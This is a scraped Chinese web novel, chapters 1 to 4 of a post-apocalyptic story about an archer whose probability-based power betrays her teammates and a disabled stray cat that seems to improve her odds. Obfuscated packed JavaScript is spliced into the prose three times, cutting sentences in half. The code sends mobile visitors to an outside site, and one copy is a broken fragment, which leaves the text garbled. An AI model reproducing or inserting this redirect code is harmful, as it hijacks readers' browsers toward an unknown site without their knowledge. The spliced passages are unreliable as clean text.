《全人类都在追杀我[末世]》 1. 第 1 章 末世第二年。 褚青缇被一只残疾小猫碰瓷了。 脚下的小猫瘫着脏兮兮的灰肚皮，饿得瘦骨嶙峋，毛发结成一缕缕，白手套也成了灰手套。 它的腹背处被金属支架松松垮垮固定住，两根金属管从支架上延伸出来，管子末端安着两个轮子。两条后腿，则反向弯折成怪异的角度，软软耷拉在支架上。 在发现褚青缇的目光后，残疾小猫迅速翻身，警觉地抖抖耳朵，搭着爪子后退一步，两侧轮子滚得飞快。 褚青缇默不作声，盯着它看了很久。 她已经很久没见到过活着的宠物了。 自从末世到来，异种入侵，水电通讯全面中断，物资紧缺，生存危机就像悬在人类头上的达摩克利斯之剑，人类能活到现在都实属万幸，小动物往往是第一批被这场灾难吞噬掉的生灵。 何况是美短起司，这种一看就娇生惯养的宠物猫。 也不知道眼前的残疾小猫，拖着残缺瘦弱的身体，是怎么活下来的。 它应该受了不少罪，或许顺应天命死掉，才是它最好的结局。 褚青缇麻木地想着。 她在口袋里掏了掏，掏出一个小袋子，拿出一小截挤得奇形怪状的米黄色混合物，半蹲着身子，把混合物放在地上。 残疾小猫一动不动，粉嫩的鼻头微微耸动，盯着人类的目光却始终充满警惕。 褚青缇摊开双手，示意自己没有恶意，轻手轻脚后退了几米。 残疾小猫一个疾跑冲过来，凑过脑袋闻了闻，叼起食物就跑，两个金属轮虎虎生风。 它保持着一个安全距离，把口中的食物放下，安心享用起来。 低垂的猫猫头下，时不时露出一小截粉粉的猫舌头，进食的声响挠得人心里痒痒的。 连褚青缇这种一贯不怎么喜欢小动物的人，此时也不得不承认，它确实有点可爱，难怪末世前那么多人喜欢养猫。 小猫很快吃完，琥珀色的大眼睛圆睁着，似乎在期待下一轮投喂。 “没有了。” 褚青缇冷酷地拒绝它。 给小猫投喂的是玉米肠，她对玉米过敏就没动过，方才心一软，投喂了小猫。 但也仅限于此。 她不可能永远心软。 “褚青缇！异种来了！准备！” 不远处的队友呼唤着她。 褚青缇眼神瞬间变得冷厉。 她利落地抽出背囊里的复合弩，跳上土堆垒起的高台。 远处，一道灵活的身影，拉着一长串异种，朝这边奔来。 异种们长得奇形怪状，有的像电视里的丧尸，勉强维持着生前的人类外观；有的则长出钳子、触角、复眼，异化成了某种昆虫和人类的结合体。 异种没有神智，凭借本能捕获人类为食，是人类最大的威胁。褚青缇这次的任务，就是要清除这片区域内的异种。 褚青缇端起弩臂，视线从异种身上挪开，使用瞄准器锁定引怪的人类，发动异能。 漆黑的瞳孔中，绽放出一簇簇枯枝的纹路。 【毒树之果：从毒树上摘取的果子，极有可能含有剧毒，误食将带来灾厄。待清除毒素后，可正常享用。状态：萌芽。】 【请点击转盘，抽取清除毒素的概率。】 转盘缓缓停下。 跟过往无数次一样，落在概率0的区域内。 褚青缇果断扣下扳机。 弩箭朝异种堆里的人类直射而去，对方却迎面直上，不避不让。 半途，弩箭的轨道似乎变成了一面水镜，镜面泛起细小的波澜。在短暂的扭曲过后，箭头调转方向，锁定异种攻击。 褚青缇连发十弩，提声道：“队长！” “看我的！【燎原】！” 伴随着一阵空间扭曲，箭头燃起熊熊火焰，十支弩箭带着火苗扎进异种堆。 而前头负责引怪的队友，则身形一闪，化为一道流沙，顺着干裂的土地退出战斗圈。 完成任务，褚青缇下意识地朝刚才小猫进食的地方扫去。 残疾小猫不见了。 队长许婉滢大步走来，重重拍了拍褚青缇的肩膀，夸赞：“小缇子，干得漂亮！” 褚青缇面皮一抽。 这位女队长性格如火，大大咧咧，爽直豪迈，与其温柔婉约的姓名和长相截然相反。 一簇流沙在两人脚底停下，迅速膨胀，化身为人形。 正是刚从前线溜回来的队友孙笋。 远处的异种堆被弩箭定住身形，又被烈火灼烤，很快就丧失了战斗力。 全程藏在最后方观察局势的壮汉这才出面，抄起斧头，扛上麻袋，开始清扫战场。 他下手毫不留情，挨个将异种的头颅砍下、捣碎，将划出的碎晶丢进麻袋，最后拆解异种身上可用的零部件。 四人配合默契，顺利完成任务，神情轻松。 就在此时，异变突生。 一支刚被壮汉从异种身上拔出的弩箭，自发抖了两下，蓦地腾空而起，箭头锁定孙笋，飞窜而来。 “【沙画】！” 许婉滢第一个反应过来，厉声下令。 孙笋立马化作一团流沙。 但弩箭的速度实在太快，在他彻底沙化的前一秒，箭头就已钻进了他体内。 沙团中传出一声闷哼，流沙散开，孙笋不受控制地变回了人形。 弩箭射穿的位置不致命。 但关键是，它刚刚从一只异种的体内取下，尚未来得及消毒。 箭头上，带有异种的黑血。 孙笋随时可能会因受到感染而异化。 “教练，回来！” 打扫战场的壮汉迅速收尾归队，质问褚青缇：“你的弩箭怎么会突然失控？” 褚青缇的震惊并不比他小。 这是她的异能第一次失控。 她瞳孔中的枯枝纹缓缓淡去，神情阴郁怪异。 “行了！现在不是追责的时候。”许婉滢沉着脸打断他，“先回基地找医生。” 一行人架起受伤的孙笋，迅速往回赶。 褚青缇调出异能界面。 方才稳稳指向0的指针，不知从什么时候起，悄悄往前跃了一格，指向了“10%”。 【毒树之果：从毒树上摘取的果子，极有可能含有剧毒，误食将带来灾厄。待清除毒素后，可正常享用。状态：萌芽。 清除毒素概率：10%。 持续时间：600/600秒（已失效）。 冷却时间：24小时。】 褚青缇心头一跳。 她担心的事，终于发生了。 总是维持在0%的概率，发生了偏移。 ………… 回到基地，一行人把孙笋送到了医务室，教练留下来照顾。 许婉滢则带着褚青缇，去找了基地老大欧阳。 欧阳转动着手上的茶杯，若有所思。 “你是说，你转盘的概率，变成10%了？” 褚青缇硬着头皮回答：“对。” “我记得你自从觉醒异能后，发动异能的概率全部是0%吧？” “对。” “从上一次发动异能，到这一次，中间是否有异常？” “没有。” “真的没有？你好好想想，什么都可以说。比如产生奇怪的感觉、听到奇怪的声音、看到奇怪的东西、遇到奇怪的人、发生奇怪的事。” 奇怪的事？ 褚青缇脑海里迅速掠过残疾小猫的身影。 这个念头实在太荒唐了。 一只猫而已，怎么可能影响到她的异能？ 她按下怀疑，答：“没有。” 欧阳善于察言观色、揣测人心，褚青缇这一瞬间的出神，没有逃过他的眼睛。 他推了推金丝镜框，明明是斯文温和的模样，镜片后的目光却暗藏锋利。 “真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15544132|171134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的没有？”他问。 褚青缇犹豫道：“我遇见了一只残疾小猫，算不算‘奇怪的事’？” 欧阳愕然：“残疾……小猫？” 许婉滢拍着大腿狂笑，“这年头还有残疾猫啊？我还真没见过，它哪儿残疾了？猫在哪呢？长啥样？” 褚青缇连比带划地形容了一通。 许婉滢乐得眼泪都出来了。 “坐轮椅的小猫，挺身残志坚的嘛！回头我把它抓回基地研究研究。” 欧阳垂着眼睑，转茶杯的动作顿了顿。 沉吟片刻，他嘱咐褚青缇：“你这几天暂时脱离战斗队，去物资队听令，尽量别使用异能。” 如果褚青缇永远维持着0%的概率，她可以反向利用自己的霉运，去达成队伍想要的目的。 但现在，她发动异能的概率发生了变化。 概率，意味着“不确定性”。 在一瞬定生死的战斗队，10%或者90%，都有可能害死自己和队友。 褚青缇点了点头，肩膀耷拉下来。 走出会客厅，许婉滢安慰她：“物资队挺好的，不用正面跟异种打交道，安全。” 褚青缇勉强点点头，情绪不佳。 “开心一点啦，小缇子。”许婉滢两手捧住褚青缇的脸，用力一捏，捏出两个红手印。 褚青缇：“……” 她这位队长，真是过于喜欢作弄人了。 许婉滢拍拍被自己捏红的脸蛋，神情颇为满意。 “知道你不喜欢待在物资队，放心吧，你的异能那么特别，欧阳肯定会给你安排个好去处的。” 褚青缇拎着用积分兑换的食物和补品，去探望了孙笋几次。 孙笋发起了高烧，异种的血在他体内横冲直撞，好在感染程度不深，危险性中等，目前在隔离区接受治疗。 “真不知道队长为什么坚持把你留在队伍里。” 留守的教练对褚青缇没有好脸色。 褚青缇这个人，很怪。 独行侠，沉默寡言，跟谁都不亲。 性格怪，异能也怪。 其他异能者的异能描述都非常精准，只有她是非常罕见的概率性异能。 概率性异能有多鸡肋就不说了，关键它还专坑自己人。 当清理毒素的概率为0时，她对异种使用异能，而实际受到攻击的对象，总会阴差阳错地变成离异种最近的人类。 所以，队长才会特意安排她在战斗中对准队友释放异能，反其道而行，以增加战斗胜利的概率。 一旦褚青缇清理毒素的概率提升，因概率的不确定性，受到她攻击的，可能是异种，也可能是离异种最近的人类。 简单来说，就是褚青缇的异能很疯、很极端。 要么砍队友，要么砍异种。 而她本人，显然无法自控。 教练实在不能理解，队长为什么会执意把这么危险的人留在战斗队？ 教练没有觉醒异能，他能留在基地、加入战斗队、获得大量物资，一半归功于孙笋的极力推荐，一半得益于他自身强悍的体能。 孙笋出事，教练无法克制自己的迁怒。 他一个普通人，在战斗队中起到的作用，都比褚青缇这位异能者要大。 ——至少他不会坑队友。 “听说你们异能者觉醒的异能种类，跟自身的经历有关。”教练不客气地审视着褚青缇。 队长曾经是一名消防员，格外重视火情。末世降临后，她觉醒的异能叫【燎原】，控火异能。 孙笋曾经是一名沙画创作者，末世前每天跟沙子打交道。他觉醒的异能叫【沙画】，可以将目标短暂沙化，包括他自己。 褚青缇对自己的过去只字不提。 没人知道，她异能的来源是什么。 “别再使用你的破异能了，有本事你就像我一样，用真本事吃饭。”教练冷冷盯着她，“你的异能，迟早会害死别人。” 2. 第 2 章 物资队的任务比较简单，在探子探完路、战斗队打完前阵并划分好安全区以后，物资队最后入场，清扫一遍战场。 性质类似于教练工作的细化版。 拆解异种身上所有可能用得上的部件，搜刮植物、农作物、食品、生活用品等。 这回物资队进的安全区，就是许婉滢小队刚刚清理出来的那片区域。 在路过自己曾经埋伏射弩的土堆前，褚青缇的脚步顿了顿。 一团深深浅浅的灰团子，正两爪朝天地瘫在那里，露出毛茸茸、脏兮兮的浅灰色肚皮。 是那只残疾小猫。 似乎感受到人类的存在，小猫翻身而起，尾巴瞬间炸开，发出一声粗噶难听的低吼。 待看清褚青缇的脸后，猫脸上露出了一丝疑惑，警惕地上前围着她闻了闻，像是认出了她，整只猫放松下来，快乐地晃起了猫尾巴。 褚青缇从口袋里掏出一小包鱼仔。 她蹲下来，撕开包装袋，把鱼仔倒在手心。 小猫垂下头，两只前爪搭在她手臂上，湿漉漉的舌头舔在她掌心，卷走鱼仔。 痒。 褚青缇手一抖。 小猫警觉地竖起耳朵左顾右盼，确认没有危险后才继续进食。 “喂，你干嘛呢？马上就要进场了！” 物资队的队友在前方喊道。 “马上来。”褚青缇回了一句。 再低下头时，受惊的小猫拖着残疾的后腿，舞着两个轮子，一溜烟跑了。 这次的清扫为期三天。 此后两天，褚青缇每次进入安全区，都会看到这只残疾小猫，随手给它投喂一点食物。 有时是她不吃的玉米食品，有时是随身带的小零食。 褚青缇不清楚小猫什么能吃、什么不能吃，这年头她也管不了这么多。 好在残疾小猫不挑食，她给什么，它就吃什么，乖得很。 一有其他人过来，它坐上“轮椅”就跑。 “刚刚那一团毛茸茸……是小猫咪吗？”物资队里有个扎高马尾的女孩问褚青缇。 褚青缇迟疑着，点点头。 “真的是小猫咪啊！”女孩眼睛一亮，“我以前养过几只小猫，它们可可爱了，每天翻着肚皮让我摸……” 女孩叽叽喳喳说起了铲屎官心得，把小猫夸得天上有地下无，恨不得立马领养小猫。 她全然忘了，她自己冒着生命危险干活，也只能勉强填饱肚子，哪里养得起一只小猫？ 女孩憧憬道：“只要小猫肯跟我回家，我少吃一点没关系的，我的食物可以分它一半。” 褚青缇听着有些好笑。 小猫的确有一点点可爱，但也不至于可爱到让人类失智的程度吧？ 褚青缇异能失控误伤队友的事，在基地不是秘密。 物资队的人生怕被她这个灾星连累，避她如蛇蝎，只有眼前的女孩，一看到小猫就走不动道，巴巴贴了上来。 女孩叫李盼，是个没有觉醒异能的普通人，平时在基地接杂活换取物资。 李盼有心收养残疾小猫，残疾小猫却不领情，只肯围着褚青缇的裤腿蹭脑袋，李盼一来，它火速开溜。 褚青缇表示爱莫能助，尊重个猫选择。 李盼摆摆手，笑着道谢：“没事，谢谢你啦，让我有机会看到可爱的小猫。” 她说话的语调充满生机，尾音微微上扬。 李盼的衣服很破，但打理得很整洁，脖子上挂着一条手工串的七彩石头项链，多日没洗的大油头也一丝不苟地梳起来，发间别着一朵路边采的野花。 留意到褚青缇的目光，李盼拘谨地撩了撩头发，红着脸解释：“我们在物资队领的积分很少，只能优先换食物。” 褚青缇背着人群，偷偷塞给她几张物资券。 有食物券，水券，还有服装券。 褚青缇告诫她：“你偷偷用，不要告诉其他人。” 李盼连连摇头，“不行，这怎么可以……” “没事，我在战斗队攒了一些积分，够用。”褚青缇脸上没什么情绪，语气寡淡得像是在念课本，“你说小猫很可爱，我觉得你和小猫一样可爱。” 李盼推辞了几回，最后红着脸收下。 她郑重地道：“青缇姐姐，以后我会好好报答你的。” 褚青缇表情很淡，并不当回事。 这种话，她曾经听过无数次。 喂猫和喂人，在她看来，并无不同。 刚好她手里有一点物资，刚好她看小猫和女孩可怜又可爱。 仅此而已。 三天清扫期一过，物资队暂时没给褚青缇安排新的任务，褚青缇乐得清闲，躲在宿舍里看小人书。 小人书是她用物资券跟基地的人换的，是她的精神食粮。 没日没夜看了几天，宿舍门突然被人敲响。 “青缇姐姐，你在家吗？”门一开，李盼焦急地嚷道，“这几天你是不是没去喂猫呀？我听说有人想抓它炖火锅。” 出乎李盼意料的是，褚青缇反应很平淡。 “如果它真被抓了，那也没办法。物竞天择，适者生存。” 末世降临已有一年多，人类为了活下来，什么没吃过？ 别说阿猫阿狗，两脚羊肉火锅也不罕见。 欧阳基地的物资相对比较足，哪怕没有觉醒异能的普通人，只要肯吃苦就不会饿死，所以才会有像李盼这样的居民，保留着末世前的天真。 “青缇姐姐？” “我好心投喂了它几次，不意味着我必须要投喂它一辈子。” 门半开着，褚青缇的脸隐藏在黑暗中，阴郁而冷漠。 李盼的身形沐浴在阳光下，圣洁而美丽。 “我不是这个意思，青缇姐姐，小猫只知道你去那里投喂过它几回，它没有时间概念，也不知道你什么时候来。它只会傻傻地在原地，一直等，一直等。” “猫没有……时间概念？” 褚青缇怔了许久。 她霍然想起，自从她第一次投喂过残疾小猫后，连续三天，她都会在同一时间、同一地点再遇残疾小猫。 她以为小猫聪明，知道她每天这个点会出现。 ……但如果，小猫根本分不清具体时间，它只会早早过去守在那呢？ 褚青缇的心揪起。 小猫很惨，也很可爱，但它太弱了，在末世它活不下去的。 这是她一早料到的未来。 但如果，小猫在等她的过程中，被人抓住丢了小命，那性质就不一样了。 褚青缇抓起复合弩，匆匆出门。 她赶过去时，抓猫队刚刚铩羽而归。 “真晦气！一只断了腿的残疾猫，居然跑得这么快！” 人群散后，土堆旁只剩下了褚青缇一个人。 小猫跑了。 褚青缇松了一口气。 她掏出小袋子里的火腿，半蹲着身子，不熟练地发出“嘬嘬”声。 一颗浅灰色的脏脏猫猫头，从草丛中探出来。 “喵——” 它发现了褚青缇，用公鸭嗓般粗噶的声线叫了一声，乐颠颠地飞奔而来。 褚青缇试探性地伸出手，摸了摸它的脑袋瓜。 摸了一手的毛。 “你脱发有点严重啊。”褚青缇幽幽道。 小猫低头进食的动作一僵，快速晃了晃脑袋，抖落一地灰毛。 真的有点可爱。 褚青缇心情好了很多。 她拍拍猫猫头，说道：“以后我不会来喂你了，你不用在这里等我，去你想去的地方吧。” 小猫疑惑抬头，大眼睛里写满了委屈。 “我的物资有限，又刚丢了高薪的工作，以后养活自己都困难，我没法一直养着你，你懂我意思吗？” 小猫轻抬下巴，软萌地舔了舔她的手心：“喵。” 褚青缇失笑：“算了，你一只猫，能懂什么？”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15544133|171134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 反正，她想说的话已经说完了，已经找到了内心的宁静。 如果它听不懂人话，继续留在这里，将来被抓住烫了火锅，那也跟她无关。 褚青缇冷漠地想着。 这一次，她主动离开。 小猫依依不舍地跟在后面。 她很快发现，板着脸训斥：“别跟着我！” 小猫乖乖停下。 过了一会，她又听到了轮子滚动的声音，小猫又一次跟了上来。 她恶声恶气地警告：“别跟着我，你爱去哪去哪。” 小猫迟疑地停下脚步，后腿两侧的轮子来了个急刹车，差点拱翻它这辆猫猫车。 但没过多久，当褚青缇再次回过头去，她的视线里再一次出现了残疾小猫可怜兮兮的身影。 如此再三。 快到基地门口时，褚青缇习惯性回头看了一眼。 这次，小猫终于没有再跟上来。 她松了一口气。 不知为什么，心里又有些难受。 风雨飘扬的末世，连人类都难以生存，它一只残疾小猫，又要如何活下去呢？ 但这些，不是她应该考虑的事。 她得好好想想，她的异能可以用在什么地方。 欧阳基地是她理想中的末世桃源，只有当她价值足够大，她才能继续留在这里。 “这还不简单？当内奸呗！”许队长哈哈大笑，“把你丢到敌对基地，等两个基地交战，你就在对面搞破坏，每次你射向我们的箭，都会自动锁定你方队友。” 褚青缇木着脸：“……” “放心，我才不舍得放你走。你的异能这么特别，一定会有大作用。”许婉滢勾着她的肩，一副姐俩好的模样，“概率，在生死关头，是很关键的因素呢。” 话落，许婉滢目光一凝。 “欸，小缇子。”她拿胳膊肘捅了捅褚青缇的腰，“你真把那只猫绑回来了？” 褚青缇顺着队长的视线望过去。 一只拖着轮子的残疾小猫，正猫猫祟祟地躲在窗外，露出两只圆滚滚的琥珀色眼睛。 褚青缇：“……！！！” 它什么时候跟上来的？ 褚青缇揪着小猫后脖子上的肉，把它丢出基地，凶巴巴地说：“我没吃的喂你，别再跟着我！” 第二天，她宿舍门口多了几只半死不活的老鼠。 残疾小猫竖起尾巴，开心地求表扬。 “……我不吃老鼠。” 褚青缇忍着恶心，把小猫连老鼠一同丢出宿舍楼。 老鼠容易携带病毒，病毒这玩意儿，在末世可是会要人命的。 第三天，她宿舍门口多了一地半死不活的蟑螂。 残疾小猫无聊地伸出灰手套，拨弄着蟑螂玩耍。每当蟑螂们以为可以逃出生天，它就灵巧地拍去一爪，按住蟑螂的触须。 一听到开门声，小猫墨绿色的竖瞳，瞬间瞪成琥珀色的圆瞳。 “……”褚青缇深呼吸，“我也不吃蟑螂。” 她连小猫带蟑螂，一同丢出了宿舍楼。 第四天，她宿舍门口多了一条半死不活的蛇。 褚青缇快崩溃了。 她在附近找了一对敢吃蛇羹的老夫妻，胳膊上起了一排的鸡皮疙瘩。 她蹲在地上，低头看残疾小猫，语气无奈。 “我真的不吃这些。既然你能捕食，说明你一只猫独自流浪也可以过得很好，你干嘛总跟着我？” 小猫不懂。 小猫只会仰着脏兮兮的毛脸蛋，疑惑地“喵喵喵”。 “看来，它真的很喜欢你。” 队长的声音传来。 褚青缇抬头望去。 许婉滢背靠阳台护栏，双手抱胸，长腿交叠，格外英姿飒爽。 “你说你没钱养它，它就自告奋勇捕猎养你，猫好。” “人不接受猫的好意，还凶猫，人坏！” 褚青缇：“……” 3. 第 3 章 “我们玩两把‘炸金花’，做个实验，你使用异能出千。” 许婉滢拿出一副牌，自己随意地抽了三张，又分给褚青缇三张。 褚青缇不知道队长想做什么实验。 但她是个服从命令的队员。 她使用异能，漆黑的瞳孔中绽放出枯枝纹路。 【毒树之果：从毒树上摘取的果子，极有可能含有剧毒，误食将带来灾厄。待清除毒素后，可正常享用。状态：萌芽。】 【请点击转盘，抽取清除毒素的概率。】 指针照例在0%的区域内停下。 许婉滢亮牌，三张黑桃A，站在“炸金花”最顶端的豹子。 褚青缇亮牌，方块2、红桃5、梅花7，站在“炸金花”最底层的单牌。 惨败。 褚青缇一点也不意外，这是她霉运的正常发挥。 第二轮，许婉滢亮牌，三张梅花A。 褚青缇两张红桃2，一张梅花J，对子，依然惨败。 她忍不住吐槽：“队长，从牌面看起来，你更像是在出千。” 许婉滢哈哈笑道：“我平时手气可没这么好，这明明是你的异能在坑你，给我这个敌人的加成。” “……”褚青缇心口被扎出一个血窟窿。 第三轮，许婉滢黑桃J、黑桃Q、黑桃K，顺金。 褚青缇梅花2、梅花9、梅花A，金花，险败。 两人的差距，在逐渐缩小。 褚青缇下意识扫了一眼异能界面。 指针离开了0%的区域，悄无声息地往前跃了两格，指向“30%”。 【毒树之果：从毒树上摘取的果子，极有可能含有剧毒，误食将带来灾厄。待清除毒素后，可正常享用。状态：萌芽。 清除毒素概率：30%。 持续时间：504/600秒。】 “队长，概率变了，30%。” 褚青缇看向脚边，残疾小猫紧挨着她的裤腿，撒娇似的用脑袋瓜蹭个不停。 她不确定这是巧合，还是异能真的受到了小猫的影响。 “再来一盘。”许婉滢分发出六张牌。 第四轮，许婉滢又是三张黑桃A。 看到许队长的牌，褚青缇不用翻开自己的牌，就知道自己输定了。 “我输了。” 她直接认输，想把没有翻开的三张牌丢回牌堆里。 许婉滢按住她的手背：“这么快就认输？” “队长的牌是豹子，我不想认输都不行。” “你牌都没看，就这么认输了？”许婉滢却直勾勾地盯着褚青缇的眼睛，“这不是攻击型异能者应该有的心态。” “队长，可我并不是攻击型……” 许婉滢打断她。 “你是。” “我亲自招你进战斗队，你在我这儿的定位就是攻击型异能者。” “不止是你，就算是没有异能、负责清扫第一战场的教练，他也是攻击型选手。” “你知道，我只喜欢有用的队员。” “只要进了我的队伍，不管异能是强是弱，他们都是绝对有用的。” “你的弩箭，足以跟教练的体能相媲美。何况，你还有一个非常特殊的异能。” “褚青缇。” 队长语气严肃地唤着队员的全名。 “你好好想想，豹子，真就无法被战胜吗？” 褚青缇被她说得心头一颤，鼓起勇气，翻开了牌面。 一张梅花2，一张方块5。 她苦笑，她究竟在期待着什么？ 霉运就是霉运，再怎么样0%也变不了100%。 她坦然认输：“这么破的牌，要么是对子，要么是单牌。神仙难救。” 许婉滢却执意掀开了褚青缇的第三张牌。 红桃3。 褚青缇别过脸，尴尬道：“稀烂的牌，不揭开或许还能保留一点脸面，揭开牌面纯属自取其辱。” 许婉滢脸上的表情消失了，死死盯着这三张意想不到的牌。 半晌，年轻的女队长忽然狂笑出声：“哈、哈哈、哈哈哈，果然！小缇子，你果然是个宝贝！” “这就是概率型异能者的威力吗？”许婉滢长长地喟叹着，“真是可怕啊。” “你知道什么叫概率吗？10%也好、50%也好、90%也好，这些数字都是虚的。” “事以成败论，哪有什么概率？如果它不是0%，那必然只会是100%。” “我们需要100%，人类需要100%！” 队长表情狂热，像是陷入了某种强烈的情绪中。 褚青缇吓得大气也不敢出。 好一会，她小声问：“队长，你没事吧？” “小缇子，你很少打牌吧？” 许婉滢笑盈盈地抽出她的三张牌，夹在食指和中指之间，轻佻地拍打着她的脸颊。 “当遇到其它牌面时，不同花色的235是最小的牌，谁也打不过，它确实是一副超级无敌烂的牌。” “可一旦遇到豹子，它就摇身一变，从最小的牌，变成唯一一副能够碾压豹子的超级神牌。” “蚂蚁也可以吃掉大象。” “小缇子，你走大运了。” 褚青缇震惊得说不出话来。 她的脸颊被粗制的纸牌刮出了一道微小的创口。 女队长满脸恶作剧成功的兴味，发出恶魔般的低语：“小缇子，你愿意永远做我的‘不同花色235’吗？” “……”队长你正常一点啊！ 不管经历过多少次，褚青缇依旧受不了队长的恶趣味。 褚青缇机械地翻出异能界面。 在她没有注意到的时候，转盘的指针再一次向前跃动了两格，停留在“50%”区域。 她难以置信地低喃：“变成50%了。” 脚边传来毛茸茸的触感，小猫软乎乎的身体蹭得让人心尖发颤。 “50%的概率，一半是0%，一半是100%，可以赌。”许婉滢收起扑克牌，正色道，“小缇子，明天你秘密跟我出一趟任务，不要惊动欧阳。” 褚青缇不懂就问：“为什么要瞒着欧阳老大？” 许婉滢危险地眯起眼，“他只是基地老大，我才是你的直属老大。我问你，如果我跟欧阳意见相悖，你听谁的？” “听老大你的。”褚青缇果断表忠心。 “乖缇子。” 许婉滢一秒变脸，笑眯眯地拿指甲刮了刮褚青缇脸颊上微小的创口。 轻微的刺痛感传来，褚青缇本能地偏过头。 许婉滢果然不高兴了，指甲重重刮了几下，作为对褚青缇的惩罚。 “这只猫是个吉祥物，你就先养着吧，明天出任务带上它。等忙完这一段，猫借给我做研究。” 队长发了话，褚青缇只能听命。 既然决定要养猫，送猫看医生、给猫洗澡是必要的。 褚青缇没留意过基地有没有兽医，特意向猫奴李盼打听。 得知她收养了流浪残疾猫，李盼乐得手舞足蹈，喊了一名末世前做过兽医的朋友。 小猫的后腿骨头全碎，没法治疗，幸亏小猫可以成功驾驭“轮椅”。 猫身上脏是脏了点，但除了后腿骨折外，整体还算健康。 兽医通过自身渠道弄了些驱虫药，没弄到宠物疫苗。这种环境要求不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15544134|171134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能太高，只能当乡下土猫养着。 李盼摩拳擦掌想吸猫，奈何残疾小猫对她十分防备，完全不肯让她碰，动不动就低吼、亮爪子。 “它叫起来怎么是这种‘嘎嘎嘎’的声音啊？怪难听的。”李盼逗它，“你们咪咪不应该夹着嗓子‘喵喵喵’的吗？” 小猫身形僵住，似乎在思考怎么“夹”。 李盼看出了它的疑惑，用夹子音学小猫咪撒娇。 小猫张了张嘴，胡须乱颤，发出鼓风机漏气般的“哇哦”声。 夹子音学习失败。 李盼焉坏地嘲笑小猫，小猫羞耻得一头扎进褚青缇怀里。 褚青缇用积分兑换了水和婴儿皂，亲自伺候小猫洗澡。 猫怕水，准确地说，猫怕的不是水，而是下水后的失控感。 褚青缇按着它的小爪子，在水盆里泡了几分钟，慢慢往盆里注水，温水煮青蛙，总算哄着小猫把澡给洗了。 淋湿后的小猫，毛发缩成一缕缕，紧贴躯干，显得头大身子小，两只眼睛几乎占据整张脸的二分之一。 既可爱，又好笑。 褚青缇忍着心里莫名的痒意，把香皂搓出泡沫，揉在小猫头上。 小猫全程瞪着圆溜溜的大眼睛，乖巧地任由褚青缇在自己身上搓揉。 洗到肚子时，它抗拒地搭起两只前爪挡住铃铛，羞耻地“喵”了一声。 夹子术初见其效。 饶是褚青缇这种缺乏爱心的人，都被夹得手抖心肝颤，恨不得化身邪恶女巫，使劲搓它、揉它、rua它，逼它发出更多可以萌化人的声音。 小猫出浴，灰手套变白手套，灰肚皮变白肚皮，银白色底毛上点缀着灰色虎斑纹，软萌可爱到令人想亲哭它。 褚青缇拿毛巾给小猫擦毛发，在一旁抓心挠肝了很久的李盼终于忍受不住，怪叫着扑过来。 “小猫咪，让姨姨亲亲！让姨姨亲亲！” 小猫毫不客气地伸爪，眼看就要在她脸上挠出几道血印子。 褚青缇拍了拍它的前肢，呵斥：“不准伸爪子！” 聪明的小猫似乎听懂了人类的语言，乖乖缩回爪子。 李盼捞起它的小肉垫，享受地捏了两把。 小猫惊恐地竖起瞳孔，一个起跳，窜进褚青缇怀里瑟瑟发抖。 李盼又揉了一把小猫毛茸茸的脑袋瓜，发出邪恶的怪笑声：“桀桀桀桀，小猫咪，你怎么这么可爱呀？” 这一瞬间，褚青缇恍惚间以为自己还生活在末世降临前，眼前的打工人过着下班后撸狗养猫的安稳日子。 她叮嘱：“猫有点凶，你注意着点。” 李盼胡乱点头，满脸痴笑。 趁小猫蜷在褚青缇怀里毫无防备，李盼再度伸出魔爪，飞快地捏了捏猫爪上软乎乎的肉垫。 小猫扭头，奶凶奶凶地朝她哈气。 李盼迅速缩回手，整个人沉浸在撸猫成功的快乐中难以自拔。 褚青缇惆怅地叹了一口气。 又疯一个。 猫猫教实在太邪恶了，用这么无辜的猫猫头、发出这么可爱的声音，套牢一个个任咪打任咪骂还只会傻乐的猫奴。 褚青缇抱着洗干净后与流浪时判若两猫的残疾小猫回宿舍，盘点剩余的积分和兑换券，一想到自己的处境就觉得未来堪忧。 不受控制的古怪异能。 想一出是一出、喜怒无常的队长。 看她横竖不顺眼的队友一号。 关在隔离间接受治疗的队友二号。 对她的异能既防备又似乎另有打算的基地老大。 现在又多了一只貌似可以影响到她异能的残疾小猫要养。 生活，怎么这么难？ 4. 第 4 章 次日，褚青缇带上残疾小猫出了基地，准时在约定地点和许队长碰头。 让她意外的是，许队长已集结了十几人，组成一支临时小队。 等褚青缇一来，许队长清点完人数，一行人远远避开人群，向北而行。 欧阳基地实施“分队制”，通常由每个战斗小队的队长负责接任务、招揽队友、独立完成小队任务，每个小队的固定人数基本在3-10人之间。 只有遇到异种潮等特殊情况下，欧阳才会调用其他小队支援。 